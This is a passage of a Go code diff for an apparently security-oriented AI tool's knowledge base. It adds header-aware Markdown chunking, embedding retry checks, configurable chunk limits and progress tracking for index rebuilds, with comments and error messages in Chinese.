+		return nil, fmt.Errorf("OpenAI API 错误 (状态码：%d): 类型=%s, 消息=%s",
 			resp.StatusCode, embeddingResp.Error.Type, embeddingResp.Error.Message)
 	}
 
@@ -162,7 +255,7 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 		if len(bodyPreview) > 500 {
 			bodyPreview = bodyPreview[:500] + "..."
 		}
-		return nil, fmt.Errorf("HTTP请求失败 (URL: %s, 状态码: %d): 响应内容=%s", requestURL, resp.StatusCode, bodyPreview)
+		return nil, fmt.Errorf("HTTP 请求失败 (URL: %s, 状态码：%d): 响应内容=%s", requestURL, resp.StatusCode, bodyPreview)
 	}
 
 	if len(embeddingResp.Data) == 0 {
@@ -170,11 +263,11 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 		if len(bodyPreview) > 500 {
 			bodyPreview = bodyPreview[:500] + "..."
 		}
-		return nil, fmt.Errorf("未收到嵌入数据 (状态码: %d, 响应长度: %d字节)\n响应内容: %s",
+		return nil, fmt.Errorf("未收到嵌入数据 (状态码：%d, 响应长度：%d字节)\n响应内容：%s",
 			resp.StatusCode, len(bodyBytes), bodyPreview)
 	}
 
-	// 转换为float32
+	// 转换为 float32
 	embedding := make([]float32, len(embeddingResp.Data[0].Embedding))
 	for i, v := range embeddingResp.Data[0].Embedding {
 		embedding[i] = float32(v)
@@ -183,23 +276,48 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 	return embedding, nil
 }
 
+// isRetryableError 判断是否是可重试的错误
+func (e *Embedder) isRetryableError(err error) bool {
+	if err == nil {
+		return false
+	}
+
+	errStr := err.Error()
+
+	// 429 速率限制错误
+	if strings.Contains(errStr, "429") || strings.Contains(errStr, "rate limit") {
+		return true
+	}
+
+	// 5xx 服务器错误
+	if strings.Contains(errStr, "500") || strings.Contains(errStr, "502") ||
+		strings.Contains(errStr, "503") || strings.Contains(errStr, "504") {
+		return true
+	}
+
+	// 网络错误
+	if strings.Contains(errStr, "timeout") || strings.Contains(errStr, "connection") ||
+		strings.Contains(errStr, "network") || strings.Contains(errStr, "EOF") {
+		return true
+	}
+
+	return false
+}
+
 // EmbedTexts 批量嵌入文本
 func (e *Embedder) EmbedTexts(ctx context.Context, texts []string) ([][]float32, error) {
 	if len(texts) == 0 {
 		return nil, nil
 	}
 
-	// OpenAI API支持批量，但为了简单起见，我们逐个处理
-	// 实际可以使用批量API以提高效率
 	embeddings := make([][]float32, len(texts))
 	for i, text := range texts {
 		embedding, err := e.EmbedText(ctx, text)
 		if err != nil {
-			return nil, fmt.Errorf("嵌入文本[%d]失败: %w", i, err)
+			return nil, fmt.Errorf("嵌入文本 [%d] 失败：%w", i, err)
 		}
 		embeddings[i] = embedding
 	}
 
 	return embeddings, nil
 }
-

internal/knowledge/indexer.go

@@ -10,56 +10,133 @@ import (
 	"sync"
 	"time"
 
+	"cyberstrike-ai/internal/config"
+
 	"github.com/google/uuid"
 	"go.uber.org/zap"
 )
 
 // Indexer 索引器，负责将知识项分块并向量化
 type Indexer struct {
-	db        *sql.DB
-	embedder  *Embedder
-	logger    *zap.Logger
-	chunkSize int // 每个块的最大token数（估算）
-	overlap   int // 块之间的重叠token数
-	
+	db             *sql.DB
+	embedder       *Embedder
+	logger         *zap.Logger
+	chunkSize      int // 每个块的最大 token 数（估算）
+	overlap        int // 块之间的重叠 token 数
+	maxChunks      int // 单个知识项的最大块数量（0 表示不限制）
+
 	// 错误跟踪
-	mu           sync.RWMutex
-	lastError    string    // 最近一次错误信息
+	mu            sync.RWMutex
+	lastError     string    // 最近一次错误信息
 	lastErrorTime time.Time // 最近一次错误时间
-	errorCount   int       // 连续错误计数
+	errorCount    int       // 连续错误计数
+
+	// 重建索引状态跟踪
+	rebuildMu          sync.RWMutex
+	isRebuilding       bool      // 是否正在重建索引
+	rebuildTotalItems  int       // 重建总项数
+	rebuildCurrent     int       // 当前已处理项数
+	rebuildFailed      int       // 重建失败项数
+	rebuildStartTime   time.Time // 重建开始时间
+	rebuildLastItemID  string    // 最近处理的项 ID
+	rebuildLastChunks  int       // 最近处理的项的分块数
 }
 
 // NewIndexer 创建新的索引器
-func NewIndexer(db *sql.DB, embedder *Embedder, logger *zap.Logger) *Indexer {
+func NewIndexer(db *sql.DB, embedder *Embedder, logger *zap.Logger, indexingCfg *config.IndexingConfig) *Indexer {
+	chunkSize := 512
+	overlap := 50
+	maxChunks := 0
+	if indexingCfg != nil {
+		if indexingCfg.ChunkSize > 0 {
+			chunkSize = indexingCfg.ChunkSize
+		}
+		if indexingCfg.ChunkOverlap >= 0 {
+			overlap = indexingCfg.ChunkOverlap
+		}
+		if indexingCfg.MaxChunksPerItem > 0 {
+			maxChunks = indexingCfg.MaxChunksPerItem
+		}
+	}
 	return &Indexer{
 		db:        db,
 		embedder:  embedder,
 		logger:    logger,
-		chunkSize: 512, // 默认512 tokens
-		overlap:   50,  // 默认50 tokens重叠
+		chunkSize: chunkSize,
+		overlap:   overlap,
+		maxChunks: maxChunks,
 	}
 }
 
-// ChunkText 将文本分块（支持重叠）
+// ChunkText 将文本分块（支持重叠，保留标题上下文）
 func (idx *Indexer) ChunkText(text string) []string {
-	// 按Markdown标题分割
-	chunks := idx.splitByMarkdownHeaders(text)
+	// 按 Markdown 标题分割，获取带标题的块
+	sections := idx.splitByMarkdownHeadersWithContent(text)
 
-	// 如果块太大，进一步分割
+	// 处理每个块
 	result := make([]string, 0)
-	for _, chunk := range chunks {
-		if idx.estimateTokens(chunk) <= idx.chunkSize {
-			result = append(result, chunk)
+	for _, section := range sections {
+		// 构建父级标题路径（不包含最后一级标题，因为内容中已经包含）
+		// 例如：["# A", "## B", "### C"] -> "[# A > ## B]"
+		var parentHeaderPath string
+		if len(section.HeaderPath) > 1 {
+			parentHeaderPath = strings.Join(section.HeaderPath[:len(section.HeaderPath)-1], " > ")
+		}
+
+		// 提取内容的第一行作为标题（如 "# Prompt Injection"）
+		firstLine, remainingContent := extractFirstLine(section.Content)
+
+		// 如果剩余内容为空或只有空白，说明这个块只有标题没有正文，跳过
+		if strings.TrimSpace(remainingContent) == "" {
+			continue
+		}
+
+		// 如果块太大，进一步分割
+		if idx.estimateTokens(section.Content) <= idx.chunkSize {
+			// 块大小合适，添加父级标题前缀
+			if parentHeaderPath != "" {
+				result = append(result, fmt.Sprintf("[%s] %s", parentHeaderPath, section.Content))
+			} else {
+				result = append(result, section.Content)
+			}
 		} else {
-			// 按段落分割
-			subChunks := idx.splitByParagraphs(chunk)
-			for _, subChunk := range subChunks {
-				if idx.estimateTokens(subChunk) <= idx.chunkSize {
-					result = append(result, subChunk)
-				} else {
-					// 按句子分割（支持重叠）
-					chunksWithOverlap := idx.splitBySentencesWithOverlap(subChunk)
-					result = append(result, chunksWithOverlap...)
+			// 块太大，按子标题或段落分割，保持标题上下文
+			// 首先尝试按子标题分割（保留子标题结构）
+			subSections := idx.splitBySubHeaders(section.Content, firstLine, parentHeaderPath)
+			if len(subSections) > 1 {
+				// 成功按子标题分割，递归处理每个子块
+				for _, sub := range subSections {
+					if idx.estimateTokens(sub) <= idx.chunkSize {
+						result = append(result, sub)
+					} else {
+						// 子块仍然太大，按段落分割（保留标题前缀）
+						paragraphs := idx.splitByParagraphsWithHeader(sub, parentHeaderPath)
+						for _, para := range paragraphs {
+							if idx.estimateTokens(para) <= idx.chunkSize {
+								result = append(result, para)
+							} else {
+								// 段落仍太大，按句子分割
+								sentenceChunks := idx.splitBySentencesWithOverlap(para)
+								for _, chunk := range sentenceChunks {
+									result = append(result, chunk)
+								}
+							}
+						}
+					}
+				}
+			} else {
+				// 没有子标题，按段落分割（保留标题前缀）
+				paragraphs := idx.splitByParagraphsWithHeader(section.Content, parentHeaderPath)
+				for _, para := range paragraphs {
+					if idx.estimateTokens(para) <= idx.chunkSize {
+						result = append(result, para)
+					} else {
+						// 段落仍太大，按句子分割
+						sentenceChunks := idx.splitBySentencesWithOverlap(para)
+						for _, chunk := range sentenceChunks {
+							result = append(result, chunk)
+						}
+					}
 				}
 			}
 		}
@@ -68,43 +145,183 @@ func (idx *Indexer) ChunkText(text string) []string {
 	return result
 }
 
-// splitByMarkdownHeaders 按Markdown标题分割
-func (idx *Indexer) splitByMarkdownHeaders(text string) []string {
-	// 匹配Markdown标题 (# ## ### 等)
+// extractFirstLine 提取第一行内容和剩余内容
+func extractFirstLine(content string) (firstLine, remaining string) {
+	lines := strings.SplitN(content, "\n", 2)
+	if len(lines) == 0 {
+		return "", ""
+	}
+	if len(lines) == 1 {
+		return lines[0], ""
+	}
+	return lines[0], lines[1]
+}
+
+// splitBySubHeaders 尝试按子标题分割内容（用于处理大块内容）
+// headerPrefix 是父级标题路径，用于添加到每个子块
+func (idx *Indexer) splitBySubHeaders(content, headerPrefix, parentPath string) []string {
+	// 匹配 Markdown 子标题（## 及以上）
+	subHeaderRegex := regexp.MustCompile(`(?m)^#{2,6}\s+.+$`)
+	matches := subHeaderRegex.FindAllStringIndex(content, -1)
+
+	if len(matches) == 0 {
+		// 没有子标题，返回原始内容
+		return []string{content}
+	}
+
+	result := make([]string, 0, len(matches))
+	for i, match := range matches {
+		start := match[0]
+		nextStart := len(content)
+		if i+1 < len(matches) {
+			nextStart = matches[i+1][0]
+		}
+
+		subContent := strings.TrimSpace(content[start:nextStart])
+
+		// 添加父级路径前缀
+		if parentPath != "" {
+			result = append(result, fmt.Sprintf("[%s] %s", parentPath, subContent))
+		} else {
+			result = append(result, subContent)
+		}
+	}
+
+	return result
+}
+
+// splitByParagraphsWithHeader 按段落分割，每个段落添加标题前缀（用于保持上下文）
+func (idx *Indexer) splitByParagraphsWithHeader(content, parentPath string) []string {
+	// 提取第一行作为标题
+	firstLine, _ := extractFirstLine(content)
+
+	paragraphs := strings.Split(content, "\n\n")
+	result := make([]string, 0)
+
+	for i, p := range paragraphs {
+		trimmed := strings.TrimSpace(p)
+		if trimmed == "" {
+			continue
+		}
+
+		// 过滤掉只有标题的段落（没有实际内容）
+		if strings.TrimSpace(trimmed) == strings.TrimSpace(firstLine) {
+			continue
+		}
+
+		// 第一个段落已经包含标题，不需要重复添加
+		if i == 0 && strings.Contains(trimmed, firstLine) {
+			if parentPath != "" {
+				result = append(result, fmt.Sprintf("[%s] %s", parentPath, trimmed))
+			} else {
+				result = append(result, trimmed)
+			}
+		} else {
+			// 其他段落添加标题前缀以保持上下文
+			if parentPath != "" {
+				result = append(result, fmt.Sprintf("[%s] %s\n%s", parentPath, firstLine, trimmed))
+			} else {
+				result = append(result, fmt.Sprintf("%s\n%s", firstLine, trimmed))
+			}
+		}
+	}
+
+	return result
+}
+
+// Section 表示一个带标题路径的文本块
+type Section struct {
+	HeaderPath []string // 标题路径（如 ["# SQL 注入", "## 检测方法"]）
+	Content    string   // 块内容
+}
+
+// splitByMarkdownHeadersWithContent 按 Markdown 标题分割，返回带标题路径的块
+// 每个块的内容包含自己的标题，用于向量化检索
+//
+// 例如，对于以下 Markdown:
+//   # Prompt Injection
+//   引言内容
+//   ## Summary
+//   目录内容
+//
+// 返回：
+//   [{HeaderPath: ["# Prompt Injection"], Content: "# Prompt Injection\n引言内容"},
+//    {HeaderPath: ["# Prompt Injection", "## Summary"], Content: "## Summary\n目录内容"}]
+func (idx *Indexer) splitByMarkdownHeadersWithContent(text string) []Section {
+	// 匹配 Markdown 标题 (# ## ### 等)
 	headerRegex := regexp.MustCompile(`(?m)^#{1,6}\s+.+$`)
 
 	// 找到所有标题位置
 	matches := headerRegex.FindAllStringIndex(text, -1)
 	if len(matches) == 0 {
-		return []string{text}
+		// 没有标题，返回整个文本
+		return []Section{{HeaderPath: []string{}, Content: text}}
 	}
 
-	chunks := make([]string, 0)
-	lastPos := 0
+	sections := make([]Section, 0, len(matches))
+	currentHeaderPath := []string{}
 
-	for _, match := range matches {
+	for i, match := range matches {
 		start := match[0]
-		if start > lastPos {
-			chunks = append(chunks, strings.TrimSpace(text[lastPos:start]))
-		}
-		lastPos = start
-	}
+		end := match[1]
+		nextStart := len(text)
 
-	// 添加最后一部分
-	if lastPos < len(text) {
-		chunks = append(chunks, strings.TrimSpace(text[lastPos:]))
+		// 找到下一个标题的位置
+		if i+1 < len(matches) {
+			nextStart = matches[i+1][0]
+		}
+
+		// 提取当前标题
+		headerLine := strings.TrimSpace(text[start:end])
+
+		// 计算标题层级（# 的数量）
+		level := 0
+		for _, ch := range headerLine {
+			if ch == '#' {
+				level++
+			} else {
+				break
+			}
+		}
+
+		// 更新标题路径：移除比当前层级深或等于的子标题，然后添加当前标题
+		newPath := make([]string, 0, len(currentHeaderPath)+1)
+		for _, h := range currentHeaderPath {
+			hLevel := 0
+			for _, ch := range h {
+				if ch == '#' {
+					hLevel++
+				} else {
+					break
+				}
+			}
+			if hLevel < level {
+				newPath = append(newPath, h)
+			}
+		}
+		newPath = append(newPath, headerLine)
+		currentHeaderPath = newPath
+
+		// 提取当前标题到下一个标题之间的内容（包含当前标题）
+		content := strings.TrimSpace(text[start:nextStart])
+
+		// 创建块，使用当前标题路径（包含当前标题）
+		sections = append(sections, Section{
+			HeaderPath: append([]string(nil), currentHeaderPath...),
+			Content:    content,
+		})
 	}
 
 	// 过滤空块
-	result := make([]string, 0)
-	for _, chunk := range chunks {
-		if strings.TrimSpace(chunk) != "" {
-			result = append(result, chunk)
+	result := make([]Section, 0, len(sections))
+	for _, section := range sections {
+		if strings.TrimSpace(section.Content) != "" {
+			result = append(result, section)
 		}
 	}
 
 	if len(result) == 0 {
-		return []string{text}
+		return []Section{{HeaderPath: []string{}, Content: text}}
 	}
 
 	return result
@@ -124,8 +341,12 @@ func (idx *Indexer) splitByParagraphs(text string) []string {
 
 // splitBySentences 按句子分割（用于内部，不包含重叠逻辑）
 func (idx *Indexer) splitBySentences(text string) []string {
-	// 简单的句子分割（按句号、问号、感叹号）
-	sentenceRegex := regexp.MustCompile(`[.!?]+\s+`)
+	// 简单的句子分割（按句号、问号、感叹号，支持中英文）
+	// . ! ? = 英文标点
+	// \u3002 = 。(中文句号)
+	// \uFF01 = ！(中文叹号)
+	// \uFF1F = ？(中文问号)
+	sentenceRegex := regexp.MustCompile(`[.!?\x{3002}\x{FF01}\x{FF1F}]+`)
 	sentences := sentenceRegex.Split(text, -1)
 	result := make([]string, 0)
 	for _, s := range sentences {
@@ -221,13 +442,13 @@ func (idx *Indexer) splitBySentencesSimple(text string) []string {
 	return result
 }
 
-// extractLastTokens 从文本末尾提取指定token数量的内容
+// extractLastTokens 从文本末尾提取指定 token 数量的内容
 func (idx *Indexer) extractLastTokens(text string, tokenCount int) string {
 	if tokenCount <= 0 || text == "" {
 		return ""
 	}
 
-	// 估算字符数（1 token ≈ 4字符）
+	// 估算字符数（1 token ≈ 4 字符）
 	charCount := tokenCount * 4
 	runes := []rune(text)
 
@@ -236,12 +457,11 @@ func (idx *Indexer) extractLastTokens(text string, tokenCount int) string {
 	}
 
 	// 从末尾提取指定数量的字符
-	// 尝试在句子边界处截断，避免截断句子中间
 	startPos := len(runes) - charCount
 	extracted := string(runes[startPos:])
 
-	// 尝试找到第一个句子边界（句号、问号、感叹号后的空格）
-	sentenceBoundary := regexp.MustCompile(`[.!?]+\s+`)
+	// 尝试找到第一个句子边界（支持中英文标点）
+	sentenceBoundary := regexp.MustCompile(`[.!?\x{3002}\x{FF01}\x{FF1F}]+`)
 	matches := sentenceBoundary.FindStringIndex(extracted)
 	if len(matches) > 0 && matches[0] > 0 {
 		// 在句子边界处截断，保留完整句子
@@ -251,41 +471,51 @@ func (idx *Indexer) extractLastTokens(text string, tokenCount int) string {
 	return strings.TrimSpace(extracted)
 }
 
-// estimateTokens 估算token数（简单估算：1 token ≈ 4字符）
+// estimateTokens 估算 token 数（简单估算：1 token ≈ 4 字符）
 func (idx *Indexer) estimateTokens(text string) int {
 	return len([]rune(text)) / 4
 }
 
 // IndexItem 索引知识项（分块并向量化）
 func (idx *Indexer) IndexItem(ctx context.Context, itemID string) error {
-	// 获取知识项（包含category和title，用于向量化）
+	// 获取知识项（包含 category 和 title，用于向量化）
 	var content, category, title string
 	err := idx.db.QueryRow("SELECT content, category, title FROM knowledge_base_items WHERE id = ?", itemID).Scan(&content, &category, &title)
 	if err != nil {
-		return fmt.Errorf("获取知识项失败: %w", err)
+		return fmt.Errorf("获取知识项失败：%w", err)
 	}
 
 	// 删除旧的向量（在 RebuildIndex 中已经统一清空，这里保留是为了单独调用 IndexItem 时的兼容性）
 	_, err = idx.db.Exec("DELETE FROM knowledge_embeddings WHERE item_id = ?", itemID)
 	if err != nil {
-		return fmt.Errorf("删除旧向量失败: %w", err)
+		return fmt.Errorf("删除旧向量失败：%w", err)
 	}
 
 	// 分块
 	chunks := idx.ChunkText(content)
+
+	// 应用最大块数限制
+	if idx.maxChunks > 0 && len(chunks) > idx.maxChunks {
+		idx.logger.Info("知识项块数量超过限制，已截断",
+			zap.String("itemId", itemID),
+			zap.Int("originalChunks", len(chunks)),
+			zap.Int("maxChunks", idx.maxChunks))
+		chunks = chunks[:idx.maxChunks]
+	}
+
 	idx.logger.Info("知识项分块完成", zap.String("itemId", itemID), zap.Int("chunks", len(chunks)))
 
 	// 跟踪该知识项的错误
 	itemErrorCount := 0
 	var firstError error
 	firstErrorChunkIndex := -1
-	
-	// 向量化每个块（包含category和title信息，以便向量检索时能匹配到风险类型）
+
+	// 向量化每个块（包含 category 和 title 信息，以便向量检索时能匹配到风险类型）
 	for i, chunk := range chunks {
-		// 将category和title信息包含到向量化的文本中
-		// 格式："[风险类型: {category}] [标题: {title}]\n{chunk内容}"
-		// 这样向量嵌入就会包含风险类型信息，即使SQL过滤失败，向量相似度也能帮助匹配
-		textForEmbedding := fmt.Sprintf("[风险类型: %s] [标题: %s]\n%s", category, title, chunk)
+		// 将 category 和 title 信息包含到向量化的文本中
+		// 格式："[风险类型：{category}] [标题：{title}]\n{chunk 内容}"
+		// 这样向量嵌入就会包含风险类型信息，即使 SQL 过滤失败，向量相似度也能帮助匹配
+		textForEmbedding := fmt.Sprintf("[风险类型：%s] [标题：%s]\n%s", category, title, chunk)
 
 		embedding, err := idx.embedder.EmbedText(ctx, textForEmbedding)
 		if err != nil {
@@ -305,18 +535,30 @@ func (idx *Indexer) IndexItem(ctx context.Context, itemID string) error {
 					zap.String("chunkPreview", chunkPreview),
 					zap.Error(err),
 				)
-				
+
 				// 更新全局错误跟踪
-				errorMsg := fmt.Sprintf("向量化失败 (知识项: %s): %v", itemID, err)
+				errorMsg := fmt.Sprintf("向量化失败 (知识项：%s): %v", itemID, err)
 				idx.mu.Lock()
 				idx.lastError = errorMsg
 				idx.lastErrorTime = time.Now()
 				idx.mu.Unlock()
 			}
-			
-			// 如果连续失败2个块，立即停止处理该知识项（降低阈值，更快停止）
-			// 这样可以避免继续浪费API调用，同时也能更快地检测到配置问题
-			if itemErrorCount >= 2 {
+
+			// 如果连续失败 5 个块，立即停止处理该知识项
+			// 这样可以避免继续浪费 API 调用，同时也能更快地检测到配置问题
+			// 对于大文档（超过 10 个块），允许失败比例不超过 50%
+			maxConsecutiveFailures := 5
+			if len(chunks) > 10 && itemErrorCount > len(chunks)/2 {
+				idx.logger.Error("知识项向量化失败比例过高，停止处理",
+					zap.String("itemId", itemID),
+					zap.Int("totalChunks", len(chunks)),
+					zap.Int("failedChunks", itemErrorCount),
+					zap.Int("firstErrorChunkIndex", firstErrorChunkIndex),
+					zap.Error(firstError),
+				)
+				return fmt.Errorf("知识项向量化失败比例过高 (%d/%d个块失败): %v", itemErrorCount, len(chunks), firstError)
+			}
+			if itemErrorCount >= maxConsecutiveFailures {
 				idx.logger.Error("知识项连续向量化失败，停止处理",
 					zap.String("itemId", itemID),
 					zap.Int("totalChunks", len(chunks)),
@@ -344,6 +586,13 @@ func (idx *Indexer) IndexItem(ctx context.Context, itemID string) error {
 	}
 
 	idx.logger.Info("知识项索引完成", zap.String("itemId", itemID), zap.Int("chunks", len(chunks)))
+
+	// 更新重建状态中的最近处理信息
+	idx.rebuildMu.Lock()
+	idx.rebuildLastItemID = itemID
+	idx.rebuildLastChunks = len(chunks)
+	idx.rebuildMu.Unlock()
+
 	return nil
 }
 
@@ -352,23 +601,38 @@ func (idx *Indexer) HasIndex() (bool, error) {
 	var count int
 	err := idx.db.QueryRow("SELECT COUNT(*) FROM knowledge_embeddings").Scan(&count)
 	if err != nil {
-		return false, fmt.Errorf("检查索引失败: %w", err)
+		return false, fmt.Errorf("检查索引失败：%w", err)
 	}
 	return count > 0, nil
 }
 
 // RebuildIndex 重建所有索引
 func (idx *Indexer) RebuildIndex(ctx context.Context) error {
+	// 设置重建状态
+	idx.rebuildMu.Lock()
+	idx.isRebuilding = true
+	idx.rebuildTotalItems = 0
+	idx.rebuildCurrent = 0
+	idx.rebuildFailed = 0
+	idx.rebuildStartTime = time.Now()
+	idx.rebuildLastItemID = ""
+	idx.rebuildLastChunks = 0
+	idx.rebuildMu.Unlock()
+
 	// 重置错误跟踪
 	idx.mu.Lock()
 	idx.lastError = ""
 	idx.lastErrorTime = time.Time{}
 	idx.errorCount = 0
 	idx.mu.Unlock()
-	
+
 	rows, err := idx.db.Query("SELECT id FROM knowledge_base_items")
 	if err != nil {
-		return fmt.Errorf("查询知识项失败: %w", err)
+		// 重置重建状态
+		idx.rebuildMu.Lock()
+		idx.isRebuilding = false
+		idx.rebuildMu.Unlock()
+		return fmt.Errorf("查询知识项失败：%w", err)
 	}
 	defer rows.Close()
 
@@ -376,34 +640,36 @@ func (idx *Indexer) RebuildIndex(ctx context.Context) error {
 	for rows.Next() {
 		var id string
 		if err := rows.Scan(&id); err != nil {
-			return fmt.Errorf("扫描知识项ID失败: %w", err)
+			// 重置重建状态
+			idx.rebuildMu.Lock()
+			idx.isRebuilding = false
+			idx.rebuildMu.Unlock()
+			return fmt.Errorf("扫描知识项 ID 失败：%w", err)
 		}
 		itemIDs = append(itemIDs, id)
 	}
 
+	idx.rebuildMu.Lock()
+	idx.rebuildTotalItems = len(itemIDs)
+	idx.rebuildMu.Unlock()
+
 	idx.logger.Info("开始重建索引", zap.Int("totalItems", len(itemIDs)))
 
-	// 在开始重建前，先清空所有旧的向量，确保进度从0开始
-	// 这样 GetIndexStatus 可以准确反映重建进度
-	_, err = idx.db.Exec("DELETE FROM knowledge_embeddings")
-	if err != nil {
-		idx.logger.Warn("清空旧索引失败", zap.Error(err))
-		// 继续执行，即使清空失败也尝试重建
-	} else {
-		idx.logger.Info("已清空旧索引，开始重建")
-	}
+	// 注意：不再清空所有旧索引，而是按增量方式更新
+	// 每个知识项在 IndexItem 中会先删除自己的旧向量，然后插入新向量
+	// 这样配置更新后只重新索引变化的知识项，保留其他知识项的索引
 
 	failedCount := 0
 	consecutiveFailures := 0
-	maxConsecutiveFailures := 2 // 连续失败2次后立即停止（降低阈值，更快停止）
+	maxConsecutiveFailures := 5 // 连续失败 5 次后立即停止（允许偶尔的临时错误）
 	firstFailureItemID := ""
 	var firstFailureError error
-	
+
 	for i, itemID := range itemIDs {
 		if err := idx.IndexItem(ctx, itemID); err != nil {
 			failedCount++
 			consecutiveFailures++
-			
+
 			// 只在第一个失败时记录详细日志
 			if consecutiveFailures == 1 {
 				firstFailureItemID = itemID
@@ -414,15 +680,15 @@ func (idx *Indexer) RebuildIndex(ctx context.Context) error {
 					zap.Error(err),
 				)
 			}
-			
+
 			// 如果连续失败过多，可能是配置问题，立即停止索引
 			if consecutiveFailures >= maxConsecutiveFailures {
-				errorMsg := fmt.Sprintf("连续 %d 个知识项索引失败，可能存在配置问题（如嵌入模型配置错误、API密钥无效、余额不足等）。第一个失败项: %s, 错误: %v", consecutiveFailures, firstFailureItemID, firstFailureError)
+				errorMsg := fmt.Sprintf("连续 %d 个知识项索引失败，可能存在配置问题（如嵌入模型配置错误、API 密钥无效、余额不足等）。第一个失败项：%s, 错误：%v", consecutiveFailures, firstFailureItemID, firstFailureError)
 				idx.mu.Lock()
 				idx.lastError = errorMsg
 				idx.lastErrorTime = time.Now()
 				idx.mu.Unlock()
-				
+
 				idx.logger.Error("连续索引失败次数过多，立即停止索引",
 					zap.Int("consecutiveFailures", consecutiveFailures),
 					zap.Int("totalItems", len(itemIDs)),
@@ -430,17 +696,17 @@ func (idx *Indexer) RebuildIndex(ctx context.Context) error {
 					zap.String("firstFailureItemId", firstFailureItemID),
 					zap.Error(firstFailureError),
 				)
-				return fmt.Errorf("连续索引失败次数过多: %v", firstFailureError)
+				return fmt.Errorf("连续索引失败次数过多：%v", firstFailureError)
 			}
-			
-			// 如果失败的知识项过多，记录警告但继续处理（降低阈值到30%）
+
+			// 如果失败的知识项过多，记录警告但继续处理（降低阈值到 30%）
 			if failedCount > len(itemIDs)*3/10 && failedCount == len(itemIDs)*3/10+1 {
-				errorMsg := fmt.Sprintf("索引失败的知识项过多 (%d/%d)，可能存在配置问题。第一个失败项: %s, 错误: %v", failedCount, len(itemIDs), firstFailureItemID, firstFailureError)
+				errorMsg := fmt.Sprintf("索引失败的知识项过多 (%d/%d)，可能存在配置问题。第一个失败项：%s, 错误：%v", failedCount, len(itemIDs), firstFailureItemID, firstFailureError)
 				idx.mu.Lock()
 				idx.lastError = errorMsg
 				idx.lastErrorTime = time.Now()
 				idx.mu.Unlock()
-				
+
 				idx.logger.Error("索引失败的知识项过多，可能存在配置问题",
 					zap.Int("failedCount", failedCount),
 					zap.Int("totalItems", len(itemIDs)),
@@ -450,20 +716,31 @@ func (idx *Indexer) RebuildIndex(ctx context.Context) error {
 			}
 			continue
 		}
-		
+
 		// 成功时重置连续失败计数和第一个失败信息
 		if consecutiveFailures > 0 {
 			consecutiveFailures = 0
 			firstFailureItemID = ""
 			firstFailureError = nil
 		}
-		
-		// 减少进度日志频率（每10个或每10%记录一次）
+
+		// 更新重建进度
+		idx.rebuildMu.Lock()
+		idx.rebuildCurrent = i + 1
+		idx.rebuildFailed = failedCount
+		idx.rebuildMu.Unlock()
+
+		// 减少进度日志频率（每 10 个或每 10% 记录一次）
 		if (i+1)%10 == 0 || (len(itemIDs) > 0 && (i+1)*100/len(itemIDs)%10 == 0 && (i+1)*100/len(itemIDs) > 0) {
 			idx.logger.Info("索引进度", zap.Int("current", i+1), zap.Int("total", len(itemIDs)), zap.Int("failed", failedCount))
 		}
 	}
 
+	// 重置重建状态
+	idx.rebuildMu.Lock()
+	idx.isRebuilding = false
+	idx.rebuildMu.Unlock()
+
 	idx.logger.Info("索引重建完成", zap.Int("totalItems", len(itemIDs)), zap.Int("failedCount", failedCount))
 	return nil
 }
@@ -474,3 +751,10 @@ func (idx *Indexer) GetLastError() (string, time.Time) {
 	defer idx.mu.RUnlock()
 	return idx.lastError, idx.lastErrorTime
 }
+
+// GetRebuildStatus 获取重建索引状态
+func (idx *Indexer) GetRebuildStatus() (isRebuilding bool, totalItems int, current int, failed int, lastItemID string, lastChunks int, startTime time.Time) {
+	idx.rebuildMu.RLock()
+	defer idx.rebuildMu.RUnlock()
+	return idx.isRebuilding, idx.rebuildTotalItems, idx.rebuildCurrent, idx.rebuildFailed, idx.rebuildLastItemID, idx.rebuildLastChunks, idx.rebuildStartTime
+}

internal/knowledge/manager.go

@@ -153,6 +153,25 @@ func (m *Manager) GetCategories() ([]string, error) {
 	return categories, nil
 }
 
+// GetStats 获取知识库统计信息
+func (m *Manager) GetStats() (int, int, error) {
+	// 获取分类总数
+	categories, err := m.GetCategories()
+	if err != nil {
+		return 0, 0, fmt.Errorf("获取分类失败: %w", err)
+	}
+	totalCategories := len(categories)
+
+	// 获取知识项总数
+	var totalItems int
+	err = m.db.QueryRow("SELECT COUNT(*) FROM knowledge_base_items").Scan(&totalItems)
+	if err != nil {
+		return totalCategories, 0, fmt.Errorf("获取知识项总数失败: %w", err)
+	}
+
+	return totalCategories, totalItems, nil
+}
+
 // GetCategoriesWithItems 按分类分页获取知识项（每个分类包含其下的所有知识项）
 // limit: 每页分类数量（0表示不限制）
 // offset: 偏移量（按分类偏移）
@@ -359,7 +378,7 @@ func (m *Manager) SearchItemsByKeyword(keyword string, category string) ([]*Know
 	// SQLite的LIKE不区分大小写，使用COLLATE NOCASE或LOWER()函数
 	// 使用%keyword%进行模糊匹配
 	searchPattern := "%" + keyword + "%"
-	
+
 	query = `
 		SELECT id, category, title, file_path, created_at, updated_at 
 		FROM knowledge_base_items 
@@ -638,7 +657,7 @@ func (m *Manager) UpdateItem(id, category, title, content string) (*KnowledgeIte
 
 		// 删除旧目录（如果为空）
 		oldDir := filepath.Dir(item.FilePath)
-		if entries, err := os.ReadDir(oldDir); err == nil && len(entries) == 0 {
+		if isEmpty, _ := isEmptyDir(oldDir); isEmpty {
 			// 只有当目录不是知识库根目录时才删除（避免删除根目录）
 			if oldDir != m.basePath {
 				if err := os.Remove(oldDir); err != nil {
@@ -693,7 +712,7 @@ func (m *Manager) DeleteItem(id string) error {
 
 	// 删除空目录（如果为空）
 	dir := filepath.Dir(filePath)
-	if entries, err := os.ReadDir(dir); err == nil && len(entries) == 0 {
+	if isEmpty, _ := isEmptyDir(dir); isEmpty {
 		// 只有当目录不是知识库根目录时才删除（避免删除根目录）
 		if dir != m.basePath {
 			if err := os.Remove(dir); err != nil {
@@ -705,6 +724,21 @@ func (m *Manager) DeleteItem(id string) error {
 	return nil
 }
 
+// isEmptyDir 检查目录是否为空（忽略隐藏文件和 . 开头的文件）
+func isEmptyDir(dir string) (bool, error) {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return false, err
+	}
+	for _, entry := range entries {
+		// 忽略隐藏文件（以 . 开头）
+		if !strings.HasPrefix(entry.Name(), ".") {
+			return false, nil
+		}
+	}
+	return true, nil
+}
+
 // LogRetrieval 记录检索日志
